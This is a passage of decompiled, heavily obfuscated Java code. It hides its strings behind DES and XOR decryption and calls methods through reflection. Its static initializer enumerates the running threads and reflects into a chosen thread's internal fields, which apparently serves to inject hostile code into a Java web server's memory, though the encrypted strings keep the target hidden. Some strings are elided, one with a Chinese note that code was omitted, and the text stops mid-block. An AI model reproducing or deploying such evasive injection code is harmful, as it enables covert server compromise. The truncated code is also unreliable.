I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ boolean m40IlIllIlIlI(Object obj, Object obj2) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = ArrayList.class.getMethod(m45lllIlIllII(90, 3875044870312245701L), Object.class);
method.setAccessible(true);
return ((Boolean) method.invoke(obj, obj2)).booleanValue();
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: I
IIlll
l
lII, reason: not valid java name and contains not printable characters */
public static /* synthetic */ int m41IIIlllllII(Object obj, String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = String.class.getMethod(m45lllIlIllII(91 & (-1), 3875044870312245701L), String.class);
method.setAccessible(true);
return ((Integer) method.invoke(obj, str)).intValue();
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
l
lIl
IIll
l
l, reason: not valid java name and contains not printable characters */
public static /* synthetic */ int m42llIlIIllll(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = String.class.getMethod(m45lllIlIllII(92, 3875044870312245723L ^ 30), new Class[0]);
method.setAccessible(true);
return ((Integer) method.invoke(obj, new Object[0])).intValue();
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: IlIl
ll
IIlI, reason: not valid java name and contains not printable characters */
public static /* synthetic */ String m43IlIlllIIlI(Object obj, int i) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = String.class.getMethod(m45lllIlIllII(93, 3875044870312245723L ^ 30), Integer.TYPE);
method.setAccessible(true);
return (String) method.invoke(obj, Integer.valueOf(i));
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
IIIll
Il
l
Il, reason: not valid java name and contains not printable characters */
public static /* synthetic */ boolean m44IIIllIllIl(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = File.class.getMethod(m45lllIlIllII(94, 3875044870312245701L), new Class[0]);
method.setAccessible(true);
return ((Boolean) method.invoke(obj, new Object[0])).booleanValue();
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
l
llIlI
l
lI
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ String m45lllIlIllII(int i, long j) {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
try {
return m46IIlIIIlllI(i, j);
} catch (Exception e2) {
throw new RuntimeException(e2);
}
} catch (RuntimeException e3) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
II
l
I
I
Ill
l
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ String m46IIlIIIlllI(int i, long j) {
byte[] bArr;
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
try {
if (f2lIIllIllll[i] == null) {
long j2 = (j ^ 30) ^ (-364335517158448685L);
Cipher m48IIllIlIIlI = m48IIllIlIIlI(m57IlIIIllIll("C$qNa`\"(1i\"qTrfc\u0005n\u000fE"));
SecretKeyFactory m49llIlIIIllI = m49llIlIIIllI(m57IlIIIllIll("C$q"));
byte[] bArr2 = new byte[8];
bArr2[0] = (byte) (j2 >>> 30);
for (int i2 = 1; i2 < 8; i2++) {
bArr2[i2] = (byte) (((j2 << (i2 * 8)) >>> 30) << i);
}
m51IlIlIIlIll(m48IIllIlIIlI, 2, m50lIlIIlIIII(m49llIlIIIllI, new DESKeySpec(bArr2)), new IvParameterSpec(new byte[8]));
ClassLoader m53llllIIlIll = m53llllIIlIll(m52lIllIllIlI());
try {
Class<?> loadClass = m53llllIIlIll.loadClass(m57IlIIIllIll("HC\u0017fOW\u0015K\r\fEf\u0012bW\u0016"));
bArr = (byte[]) m54IllIIIIIII(m53llllIIlIll.loadClass(m57IlIIIllIll("Hfq��)\u0014V\bN\f#f\u0012GW\u0016Efbd\u000ec\u0004P")).getMethod(m57IlIIIllIll("cb\u0002h\u0005G"), String.class), m54IllIIIIIII(loadClass.getMethod(m57IlIIIllIll("\u0006G\u0015fbd\u000ec\u0004P"), new Class[0]), loadClass, new Object[0]), new Object[]{f3IIIllIlIIl[i]});
} catch (Exception unused) {
Class<?> loadClass2 = m53llllIIlIll.loadClass(m57IlIIIllIll("H��q��ZOZ\fN)e\bi\u0005\f%CV��s\u0018R\u0004a\u000eLqb\u0013s\u0004P"));
bArr = (byte[]) m54IllIIIIIII(loadClass2.getMethod(m57IlIIIllIll("\u0011CP\u0012b#C\u0012GW\u0016En\u000ff\u0013["), String.class), loadClass2, new Object[]{f3IIIllIlIIl[i]});
}
f2lIIllIllll[i] = new String(m55IllIIIIllI(m48IIllIlIIlI, bArr));
}
} catch (Exception e2) {
m56llIIlIlIll(e2);
}
return f2lIIllIllll[i];
} catch (RuntimeException e3) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* JADX WARN: Unreachable blocks removed: 2, instructions: 2 */
/* renamed from: l
lI
I
l
lll
lI, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m47llIIlllllI() {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
f4lIlIlIlIIl = 3875044870312245723L;
long j = f4lIlIlIlIIl ^ (-364335517158448685L);
Cipher m48IIllIlIIlI = m48IIllIlIIlI(m57IlIIIllIll("CB2(aE\"(r*a221fcc\biE"));
SecretKeyFactory m49llIlIIIllI = m49llIlIIIllI(m57IlIIIllIll("%Bq"));
byte[] bArr = new byte[8];
bArr[0] = (byte) (j >>> 30);
for (int i = 1; i < 8; i++) {
bArr[i] = (byte) ((j << (i * 8)) >>> 30);
}
m51IlIlIIlIll(m48IIllIlIIlI, 2, m50lIlIIlIIII(m49llIlIIIllI, new DESKeySpec(bArr)), new IvParameterSpec(new byte[8]));
for (int i2 = 0; i2 < 1; i2++) {
switch (i2) {
case 0:
f3IIIllIlIIl[0] = m57IlIIIllIll("Qzo\u0004}C+M$NVWo3\u0019MoQ\u000eW\u0011XC V\u0011bt6\u0011Am");
f3IIIllIlIIl[1] = m57IlIIIllIll("$t\u0019bJiP0Vj0L\u001b)t\u0004c6hHm\u0006:\u001f");
f3IIIllIlIIl[2] = m57IlIIIllIll("F\u00174V4F\u0010[Y0Wkw?)WL\u007fV2\u0017\u0019c\u0012U\u0004_rP*jt");
f3IIIllIlIIl[3] = m57IlIIIllIll("\u0005H.hQ0#Tmf Li$s\bl\u0018W~c0:\u001f");
f3IIIllIlIIl[4] = m57IlIIIllIll("\u0015(H8f\u0014]Q}\u00043\u001f");
f3IIIllIlIIl[5] = m57IlIIIllIll("\u0006n8_Qm\u0014LrM\u0002vgUn\u0017H1C(i\u0016:\u001f");
f3IIIllIlIIl[6] = m57IlIIIllIll("O\u0007\r\u0018nSPwS\u00197\u001f");
f3IIIllIlIIl[7] = m57IlIIIllIll("\"\u0016Uf\u0012EU0UsQr\u0005pP&v\u0003t\u0003e,l#pd@URL%\r3P\u001bEFPTP\u0014s$Kh\rTY]8~je\u0016:\u001f");
f3IIIllIlIIl[8] = m57IlIIIllIll(";hY>9We3+~gw5t[\u0014\tN(\rWua$LHa\fFk\u0014\r\u0010eJ@fs2M\u0013w8QG/t9UV^aQ\u0006:\u001f");
f3IIIllIlIIl[9] = m57IlIIIllIll("s*\u0010\u0002T'(DkY3\u001f");
f3IIIllIlIIl[10] = m57IlIIIllIll("6I;ws3\u0017I\u001431iJ(C,S\u000bMut0:\u001f");
f3IIIllIlIIl[11] = m57IlIIIllIll("U#HPA%df~Sl\u001f");
f3IIIllIlIIl[12] = m57IlIIIllIll("1R$qPs7Pj]\u0004J[\u0010ZVQ']C` :\u001f");
f3IIIllIlIIl[13] = m57IlIIIllIll("XK\u0004>~l8dEV\u0016kD.Q\u000f_RH>U\u0006:\u001f");
f3IIIllIlIIl[14] = m57IlIIIllIll("D\nk\u000eN\u000fd5]\u0012F\u001f");
f3IIIllIlIIl[15] = m57IlIIIllIll("5\tF\ffh,hWm\u0003TE5\bhC@\u0016qC6L425]6@;q\u0011");
f3IIIllIlIIl[16] = m57IlIIIllIll("\u0016h7Dqp\nDe4\u0005o\u0016\fFXK\"kIr0:\u001f");
f3IIIllIlIIl[17] = m57IlIIIllIll("\u0016h7Dqp\nDe4\u0005o\u0016\fFXK\"kIr0:\u001f");
f3IIIllIlIIl[18] = m57IlIIIllIll("r{\u0017a\u000er(w?r\......此处代码与思路无关省略");
f3IIIllIlIIl[19] = m57IlIIIllIll("DN\u0011Mk\fQ&CY2Jb\u000eo\u001bc1Oe\u0016F\u00021XV4H\u0006Oda#(i\u0017w+r\u000f2VM1CLb)N\rJZNRXa0o;eanXb[YZX}'Ti3\u0013`\u001f");
f3IIIllIlIIl[20] = m57IlIIIllIll("\u0007NR+k\ft&C?3\u0011NWS'Mv#G\u0010dS@4H1kqbSM\u0015/`3PN(J_,R\u001f");
f3IIIllIlIIl[21] = m57IlIIIllIll("4u2\bUJ\u0018k$@\u000f_cR;M\u001bJWKg\u0017l0f6jCI7Jx");
f3IIIllIlIIl[22] = m57IlIIIllIll("4u2\bUJ\u0018k$@\u000f_cR;M\u001bJWKg\u0012n ?WLbb ?\u0013");
f3IIIllIlIIl[23] = m57IlIIIllIll("\u0007NR+k\ft&C?3\u0011NWS'Mv#G\u0010dS@4H1kqbSM\u0015/`3PN(J_,R\u001f");
f3IIIllIlIIl[24] = m57IlIIIllIll("\u0007k\u0011M(jt@%?\u0016w(rv'h5E\u0004vd5&4mW\rTGShUUYENp\u0016kcsU_f)U\u000e6%cR2 :\u001f");
f3IIIllIlIIl[25] = m57IlIIIllIll("K8k\u0016_\u0018(}u9B\u001f");
f3IIIllIlIIl[26] = m57IlIIIllIll("I\u0013C8B8,D}\u000eV\u001f");
f3IIIllIlIIl[27] = m57IlIIIllIll("\u001b1@.})~Q3#`\u001f");
f3IIIllIlIIl[28] = m57IlIIIllIll("\u000fLWrj,\u00074kkRhF\u0003[\u0006L)bQR :\u001f");
f3IIIllIlIIl[29] = m57IlIIIllIll("\u0007NR+k\ft&C?1��tn2\nOv*\u0017J>\u0015j0_7d\rE4uH1\u0013QD$q6l6B\u001f");
f3IIIllIlIIl[30] = m57IlIIIllIll("sV\u001a\u0004a+}KI*R\u001f");
f3IIIllIlIIl[31] = m57IlIIIllIll("+IRuIk\u0002MsUU1t5V\u0006w14>l :\u001f");
f3IIIllIlIIl[32] = m57IlIIIllIll("*43tHbNElj\rDv\u0016l\u0010cX,(Q0:\u001f");
f3IIIllIlIIl[33] = m57IlIIIllIll("{;\u001a\u000eH\u0015D?r(V\u001f");
f3IIIllIlIIl[34] = m57IlIIIllIll("Ys;@(q\u0018dsm1ol\u0013{/s \u007f1j :\u001f");
f3IIIllIlIIl[35] = m57IlIIIllIll("VNE#_JJh\u0004v#>wU)j[u\nbI8`$(\u0011TES\u00077R");
f3IIIllIlIIl[36] = m57IlIIIllIll("q%U,S\u0013FOj��^\u001f");
f3IIIllIlIIl[37] = m57IlIIIllIll("i\n\u0016\u0015>Wok>3t\u001f");
f3IIIllIlIIl[38] = m57IlIIIllIll("XK\u0004>~l8dEV\u001bAHQc\u000eT;UaU :\u001f");
f3IIIllIlIIl[39] = m57IlIIIllIll("a(whN\fte%\u001aTJ\u0004ho>\u0005Wj@......");
f3IIIllIlIIl[40] = m57IlIIIllIll("EO7\tNnJm\u000fBVh}M\u0017QeRV2Q.f5h#i?m.CQ");
f3IIIllIlIIl[41] = m57IlIIIllIll("a(whN\fte%\u001aTJ\u0004ho>....");
f3IIIllIlIIl[42] = m57IlIIIllIll("DN\u0011Mk\fQ&CY2Jb\u000eo\u001bc1Oe\u0016w\u0007@\u0010(Ts,FolW`\u00122\u0010(vR5dN KD1VpJ9\u0011\u0002i,a1M\u0002f\u001bK',s\"ZT1Sn]B\u0003p\u001f");
f3IIIllIlIIl[43] = m57IlIIIllIll("\u0007NR+k\ft&C?2,bMoXcr)e\u0016U/,4])wat\u0018?\u0016\u0005UUkQ?s`\u0017h\u001f");
f3IIIllIlIIl[44] = m57IlIIIllIll("a(whN\fte%\u001aWf\u0012K2l)Si2J(T\u0016NPp\u0015A^I\u0012Ipd\u0016q{\u0011g\u0007wY^Qu\t~zQ\u000fa\u0010JS\u0015H,pBi42\u0014");
f3IIIllIlIIl[45] = m57IlIIIllIll("a(whN\fte%\u001aWf\u0012K2l)Si2J(T\u0016NPp\u0015A^I\u0012Ipd\u0016q{\u0011g\u0007wY^Qu\t~zQ\u000fa\u0010\u0019P+h\u0010J_2;?\r");
f3IIIllIlIIl[46] = m57IlIIIllIll("\u0007k\u0011M(jt@%?\u0017J\u0004hJXF1O&pQ\u007f ORK\u0014]j\u0011S+A\u000fN2d&bn\u007f0hW\u0017E\u0004}\u0015~lI\u0006:\u001f");
f3IIIllIlIIl[47] = m57IlIIIllIll("\u0007k\u0011M(jt@%?\u0017J\u0004hJXF1O&pQ\u007f ORK\u0014]j\u0011S+A\u000fN2d&bn\u007f0QD\u0006m\u0016E\u0017(>w\u0016:\u001f");
f3IIIllIlIIl[48] = m57IlIIIllIll("4u2\bUJ\u0018k$@\fnMp'2j^8q\u0017'x\u0003N'I`KYtO");
f3IIIllIlIIl[49] = m57IlIIIllIll("W,WJaV*3dp)(XQ\u0012WO\u0013`WO\u0006:\u001f");
f3IIIllIlIIl[50] = m57IlIIIllIll("kSaN~a.Z6p)w?D)efi1k{Tt\bS9tS1N,@");
f3IIIllIlIIl[51] = m57IlIIIllIll("Ti2o^o+]DR%Ip\u0012w\u000eD%oeI\u0006:\u001f");
f3IIIllIlIIl[52] = m57IlIIIllIll("Ti2o^o+]DR%7\u0017'\u0017&4\u000e6OI\u0016:\u001f");
f3IIIllIlIIl[53] = m57IlIIIllIll("Ti2o^o+]DR%tQVF\u00116*m4T\u0016:\u001f");
f3IIIllIlIIl[54] = m57IlIIIllIll("\u0012]Vmhl7aAL\u00067`\u000fq;E.tI00:\u001f");
f3IIIllIlIIl[55] = m57IlIIIllIll("Ti2o^o+]DR%tQVF\u00116*m4T\u0016:\u001f");
f3IIIllIlIIl[56] = m57IlIIIllIll("/7\u00103`P\n>D6/PJ(m\u000e?Umm40:\u001f");
f3IIIllIlIIl[57] = m57IlIIIllIll("G\nU\r`$S5i'F\u001f");
f3IIIllIlIIl[58] = m57IlIIIllIll("46\u0017ba3\bapfVqL9d\u0012\u007f,4B^0:\u001f");
f3IIIllIlIIl[59] = m57IlIIIllIll("46\u0017ba3\bapfVqL9d\u0012\u007f,4B^0:\u001f");
f3IIIllIlIIl[60] = m57IlIIIllIll("\u0015\u007f)l]E\u000b7T~)NA'G\u0003a/U0D :\u001f");
f3IIIllIlIIl[61] = m57IlIIIllIll("tx0\u000bhI7D\u0002L\u0006A^,VP`]$ST-\u00147m\u0016c5C)mw");
f3IIIllIlIIl[62] = m57IlIIIllIll("��C,vhp9KNlUW\u0013RSQ3\fE^w0:\u001f");
f3IIIllIlIIl[63] = m57IlIIIllIll("\u0011e\u000es,E0pV^.3\u001aW\u00106q\u0013A7v\u0006:\u001f");
f3IIIllIlIIl[64] = m57IlIIIllIll("(t)kBe5sT];4\u0015\nZ#W C~(\u0016:\u001f");
f3IIIllIlIIl[65] = m57IlIIIllIll("L\u0014\u0010Q5\u000bQrp\u0004l\u001f");
f3IIIllIlIIl[66] = m57IlIIIllIll("V\fV\u001bD\u0007`?_\u0006R\u001f");
f3IIIllIlIIl[67] = m57IlIIIllIll("1sVjlDVO\u001bq\f6s4\u0016Ys+lBE\u0006:\u001f");
f3IIIllIlIIl[68] = m57IlIIIllIll("k\u0007c$s\u0012sA\u007f\u000bJ\u001f");
f3IIIllIlIIl[69] = m57IlIIIllIll("&h\u000b_eU\fqdQ\u000fLZ7l)c\rf~7\u0016:\u001f");
f3IIIllIlIIl[70] = m57IlIIIllIll("t\u0016\u0016Ul\u000beM}R^\u001f");
f3IIIllIlIIl[71] = m57IlIIIllIll("'34eeQTLtD-th\u0018\u001366-Prq0:\u001f");
f3IIIllIlIIl[72] = m57IlIIIllIll("+VQR3eS?ZS'Va\u000b\u0015R`\u0016RQS :\u001f");
f3IIIllIlIIl[73] = m57IlIIIllIll("\u0012Pk-?$CKj\u0010V\u001f");
f3IIIllIlIIl[74] = m57IlIIIllIll("DNp1EJ2]B57\u001f");
f3IIIllIlIIl[75] = m57IlIIIllIll("S1��vb~9F\u001aJ\u0003\u007fr%\u001a#kXj\u007f1 :\u001f");
f3IIIllIlIIl[76] = m57IlIIIllIll("\u0019T\fUnU/1E`Y]L\u000fu#I\u00113VV0:\u001f");
f3IIIllIlIIl[77] = m57IlIIIllIll("r)x8dR>U3*V\u001f");
f3IIIllIlIIl[78] = m57IlIIIllIll("`\u0019g*h\rFl])J\u001f");
f3IIIllIlIIl[79] = m57IlIIIllIll("/QS2ke\u001bUQ}\u0002Tg\u0014G3^\u0015T]B0:\u001f");
f3IIIllIlIIl[80] = m57IlIIIllIll("\u0019p%PEJSdVn\u000fmd*F\bb8dDa\u0016:\u001f");
f3IIIllIlIIl[81] = m57IlIIIllIll("QWo\u000fu��3e}\u00027\u001f");
f3IIIllIlIIl[82] = m57IlIIIllIll("V/m3B\u0011BFdN^\u001f");
f3IIIllIlIIl[83] = m57IlIIIllIll(",?\rr2T\u0013}dn%tc*q/qS`NI :\u001f");
f3IIIllIlIIl[84] = m57IlIIIllIll(",LdRalSv#b%^RB/DgC+hg\u0007n9`.]n?\f6@");
f3IIIllIlIIl[85] = m57IlIIIllIll("\u0019T\fUnU/1E`XjLN\u0015\bi0U^o :\u001f");
f3IIIllIlIIl[86] = m57IlIIIllIll("07'u,N5cAL\u0019Ja(d$])Q4i0:\u001f");
f3IIIllIlIIl[87] = m57IlIIIllIll("\u0019p%PEJSdVn\u000fmd*F\bb8dDa\u0016:\u001f");
f3IIIllIlIIl[88] = m57IlIIIllIll("IJ{5e/}q,\nh\u001f");
f3IIIllIlIIl[89] = m57IlIIIllIll("RVq\"W\u0016S`L\f3\u001f");
f3IIIllIlIIl[90] = m57IlIIIllIll("X\u0003j-(\u0010r4~\u0007?\u001f");
f3IIIllIlIIl[91] = m57IlIIIllIll("pPM(V\u00053WU\u0016B\u001f");
f3IIIllIlIIl[92] = m57IlIIIllIll("n5OWT\fDuDUl\u001f");
f3IIIllIlIIl[93] = m57IlIIIllIll("\tF/vJ3\u0012m\u0012]RQV\u0002\u00137>\f45h :\u001f");
f3IIIllIlIIl[94] = m57IlIIIllIll("e\u0018z\b>TOqwUV\u001f");
break;
case 2:
f3IIIllIlIIl[0] = m57IlIIIllIll("UpPR4X\bn%ENL0e*0o})H\u0010\u0017K4o1lcfWAp");
break;
case 4:
f3IIIllIlIIl[0] = m57IlIIIllIll("\u0016\bJ5f5?hA)d\u001f");
break;
}
}
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
I
I
llI
l
I
I
l
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Cipher m48IIllIlIIlI(String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Cipher.class.getMethod(m57IlIIIllIll("E\u0004s(L\u0012V��i\u0002G"), String.class);
method.setAccessible(true);
return (Cipher) method.invoke(null, str);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
ll
I
l
III
ll
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ SecretKeyFactory m49llIlIIIllI(String str) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = SecretKeyFactory.class.getMethod(m57IlIIIllIll("\u0006b\u0015kLQ\u0015fi\u0002G"), String.class);
method.setAccessible(true);
return (SecretKeyFactory) method.invoke(null, str);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: lI
l
I
Il
I
I
I
I, reason: not valid java name and contains not printable characters */
public static /* synthetic */ SecretKey m50lIlIIlIIII(Object obj, KeySpec keySpec) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = SecretKeyFactory.class.getMethod(m57IlIIIllIll("`\u0004L\u0004Pf\u0015G2G\u0002P\u0004V"), KeySpec.class);
method.setAccessible(true);
return (SecretKey) method.invoke(obj, keySpec);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: I
l
I
l
IIlIll, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m51IlIlIIlIll(Object obj, int i, Key key, AlgorithmParameterSpec algorithmParameterSpec) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Cipher.class.getMethod(m57IlIIIllIll("nLns"), Integer.TYPE, Key.class, AlgorithmParameterSpec.class);
method.setAccessible(true);
method.invoke(obj, Integer.valueOf(i), key, algorithmParameterSpec);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
IllI
l
lI
lI, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Thread m52lIllIllIlI() throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Thread.class.getMethod(m57IlIIIllIll("\u0002WuuG\u000fs5oP\u0004fF"), new Class[0]);
method.setAccessible(true);
return (Thread) method.invoke(null, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
l
llII
lI
ll, reason: not valid java name and contains not printable characters */
public static /* synthetic */ ClassLoader m53llllIIlIll(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Thread.class.getMethod(m57IlIIIllIll("E\u0004sa\u000eisb\u0019s\"kfQQ-hC\u0005bu"), new Class[0]);
method.setAccessible(true);
return (ClassLoader) method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: I
ll
I
IIIIII, reason: not valid java name and contains not printable characters */
public static /* synthetic */ Object m54IllIIIIIII(Object obj, Object obj2, Object[] objArr) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Method.class.getMethod(m57IlIIIllIll("KLTMIG"), Object.class, Object[].class);
method.setAccessible(true);
return method.invoke(obj, obj2, objArr);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
Il
lII
I
Il
lI, reason: not valid java name and contains not printable characters */
public static /* synthetic */ byte[] m55IllIIIIllI(Object obj, byte[] bArr) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Cipher.class.getMethod(m57IlIIIllIll("F\u000edn\u000ffN"), byte[].class);
method.setAccessible(true);
return (byte[]) method.invoke(obj, bArr);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from: l
lIIlI
lIll, reason: not valid java name and contains not printable characters */
public static /* synthetic */ void m56llIIlIlIll(Object obj) throws Exception {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
Method method = Exception.class.getMethod(m57IlIIIllIll("Runi\u0015TVCdI5uCdb"), new Class[0]);
method.setAccessible(true);
method.invoke(obj, new Object[0]);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
/* renamed from:
Il
II
Ill
I
l
l, reason: not valid java name and contains not printable characters */
public static /* synthetic */ String m57IlIIIllIll(String str) {
try {
try {
try {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
} catch (Exception e) {
System.out.print(String.format("%s", ""));
System.out.print(String.format("%s", ""));
}
String m4llIlIlIlII = m4llIlIlIlII(m3lIllIIllIl(new StringBuilder(), m2lIIIlIIlll(m1IIIIlIllll(new RuntimeException())[1])));
int m5lIlllIlIll = m5lIlllIlIll(m4llIlIlIlII) - 1;
int m5lIlllIlIll2 = m5lIlllIlIll(str) - 1;
char[] cArr = new char[m5lIlllIlIll2 + 1];
while (m5lIlllIlIll2 >= 0) {
cArr[m5lIlllIlIll2] = (char) (('k' ^ m6lIllIIllll(str, m5lIlllIlIll2)) ^ m6lIllIIllll(m4llIlIlIlII, m5lIlllIlIll));
if (m5lIlllIlIll2 - 1 < 0) {
break;
}
cArr[m5lIlllIlIll2 - 1] = (char) (('P' ^ m6lIllIIllll(str, m5lIlllIlIll2)) ^ m6lIllIIllll(m4llIlIlIlII, m5lIlllIlIll));
m5lIlllIlIll--;
if (m5lIlllIlIll < 0) {
m5lIlllIlIll = m5lIlllIlIll(m4llIlIlIlII) - 1;
}
m5lIlllIlIll2--;
}
return new String(cArr);
} catch (RuntimeException e2) {
throw null;
}
} catch (Throwable th) {
System.out.print(String.format("%s", ""));
throw th;
}
}
private static String l0AI0AI0AlI0AIll0AlI;
private static String A0All0Alll0AI0AlllI;
static
{
try {
m47llIIlllllI();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
l0AI0AI0AlI0AIll0AlI = m45lllIlIllII(18, 0x35c6ecc757a939dbL ^ 30L);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
A0All0Alll0AI0AlllI = m45lllIlIllII(19, 0x35c6ecc757a939dbL ^ 30L);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try
{
Thread thread = Thread.currentThread();
ClassLoader classloader = thread.getContextClassLoader().getParent();
try
{
classloader.loadClass(m45lllIlIllII(20, 0x35c6ecc757a939dbL ^ 30L));
}
catch (ClassNotFoundException classnotfoundexception)
{
classloader = thread.getContextClassLoader();
}
Class class1 = classloader.loadClass(m45lllIlIllII(0x15 & -1, 0x35c6ecc757a939c5L));
Class class2 = classloader.loadClass(m45lllIlIllII(22, 0x35c6ecc757a939c5L));
Class class3 = classloader.loadClass(m45lllIlIllII(23, 0x35c6ecc757a939dbL ^ 30L));
Class class4 = classloader.loadClass(m45lllIlIllII(0x18 & -1, 0x35c6ecc757a939c5L));
Field field = class2.getDeclaredField(m45lllIlIllII(25, 0x35c6ecc757a939dbL ^ 30L));
field.setAccessible(true);
Field field1 = class1.getDeclaredField(m45lllIlIllII(26, 0x35c6ecc757a939dbL ^ 30L));
field1.setAccessible(true);
Thread athread[] = (Thread[])(Thread[])field.get(thread.getThreadGroup());
boolean flag = false;
int i = 0;
do
{
if (i >= athread.length)
break;
Thread thread1 = athread[i];
if (thread1 != null && thread1.getName().contains(m45lllIlIllII(0x1b & -1, 0x35c6ecc757a939c5L)))
{
Object obj = field1.get(thread1);
if (obj != null && obj.getClass().getName().contains(m45lllIlIllII(28, 0x35c6ecc757a939dbL ^ 30L)) && obj.getClass().getPackage().getName().equals(m45lllIlIllII(29, 0x35c6ecc757a939dbL ^ 30L)))
{
Field field2 = obj.getClass().getDeclaredField(m45lllIlIllII(30, 0x35c6ecc757a939dbL ^ 30L));
field2.setAccessible(true);
Object obj1 = field2.get(obj);
Object obj2 = obj1.getClass().getMethod(m45lllIlIllII(31, 0x35c6ecc757a939c5L), new Class[0]).invoke(obj1, new Object[0]);
Object obj3 = null;
try
{
